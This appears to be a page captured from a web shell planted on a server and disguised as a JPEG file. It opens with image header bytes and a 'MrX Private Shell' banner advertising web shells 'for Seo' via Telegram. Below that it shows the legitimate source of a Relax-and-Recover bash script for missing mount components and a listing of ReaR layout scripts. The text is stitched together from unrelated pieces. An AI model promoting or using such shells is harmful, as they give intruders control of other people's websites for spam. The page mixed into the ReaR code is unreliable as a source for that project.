����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# Warn about missing components and for each missing component
# offer the user a way to manually add code that mounts it.
rear_workflow="rear $WORKFLOW"
rear_shell_history="$( echo -e "vi $LAYOUT_CODE\nless $LAYOUT_CODE" )"
unset choices
choices[0]="View $LAYOUT_CODE"
choices[1]="Edit $LAYOUT_CODE"
choices[2]="Go to Relax-and-Recover shell"
choices[3]="Continue '$rear_workflow'"
choices[4]="Abort '$rear_workflow'"
while read status name type junk ; do
missing_component="$name ($type)"
LogUserOutput "No code has been generated to mount $missing_component."
LogUserOutput "To mount $missing_component manually add code to $LAYOUT_CODE or abort."
while true ; do
# The default user input is "Continue" to make it possible to run ReaR unattended
# so that 'rear mountonly' proceeds after the timeout regardless that it probably fails
# when the component is not recreated but perhaps it could succeed in migration mode
# on different replacement hardware where it might be even right to simply "Continue".
# Generate a runtime-specific user_input_ID so that for each missing component
# a different user_input_ID is used for the UserInput call so that the user can specify
# for each missing component a different predefined user input.
# Only uppercase letters and digits are used to ensure the user_input_ID is a valid bash variable name
# (otherwise the UserInput call could become invalid which aborts 'rear mountonly' with a BugError) and
# hopefully only uppercase letters and digits are sufficient to distinguish different missing components:
current_missing_component_alnum_uppercase="$( echo "$missing_component" | tr -d -c '[:alnum:]' | tr '[:lower:]' '[:upper:]' )"
test "$current_missing_component_alnum_uppercase" || current_missing_component_alnum_uppercase="COMPONENT"
local user_input_ID="ADD_CODE_TO_RECREATE_MISSING_$current_missing_component_alnum_uppercase"
case "$( UserInput -I "$user_input_ID" -p "Manually add code that mounts $missing_component" -D "${choices[3]}" "${choices[@]}" )" in
(${choices[0]})
# Run 'less' with the original STDIN STDOUT and STDERR when 'rear' was launched by the user:
less $LAYOUT_CODE 0<&6 1>&7 2>&8
;;
(${choices[1]})
# Run 'vi' with the original STDIN STDOUT and STDERR when 'rear' was launched by the user:
vi $LAYOUT_CODE 0<&6 1>&7 2>&8
;;
(${choices[2]})
# rear_shell runs 'bash' with the original STDIN STDOUT and STDERR when 'rear' was launched by the user:
rear_shell "" "$rear_shell_history"
;;
(${choices[3]})
# Continue with the next missing component:
break
;;
(${choices[4]})
abort_recreate
Error "User chose to abort '$rear_workflow' in ${BASH_SOURCE[0]}"
;;
# No default case is needed here because the 'while true' loop repeats for invalid user input.
esac
done
done < <(grep "^todo" "$LAYOUT_TODO")
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 010_prepare_files.sh | File | 2.18 KB | 0644 |
|
| 250_compare_disks.sh | File | 13 KB | 0644 |
|
| 270_overrule_migration_mode.sh | File | 1.2 KB | 0644 |
|
| 300_map_disks.sh | File | 22.12 KB | 0644 |
|
| 310_remove_exclusions.sh | File | 4.08 KB | 0644 |
|
| 320_apply_mappings.sh | File | 1.83 KB | 0644 |
|
| 500_confirm_layout_file.sh | File | 2.35 KB | 0644 |
|
| 510_list_dependencies.sh | File | 103 B | 0644 |
|
| 520_exclude_components.sh | File | 607 B | 0644 |
|
| 540_generate_device_code.sh | File | 1.89 KB | 0644 |
|
| 550_finalize_script.sh | File | 121 B | 0644 |
|
| 600_show_unprocessed.sh | File | 3.15 KB | 0644 |
|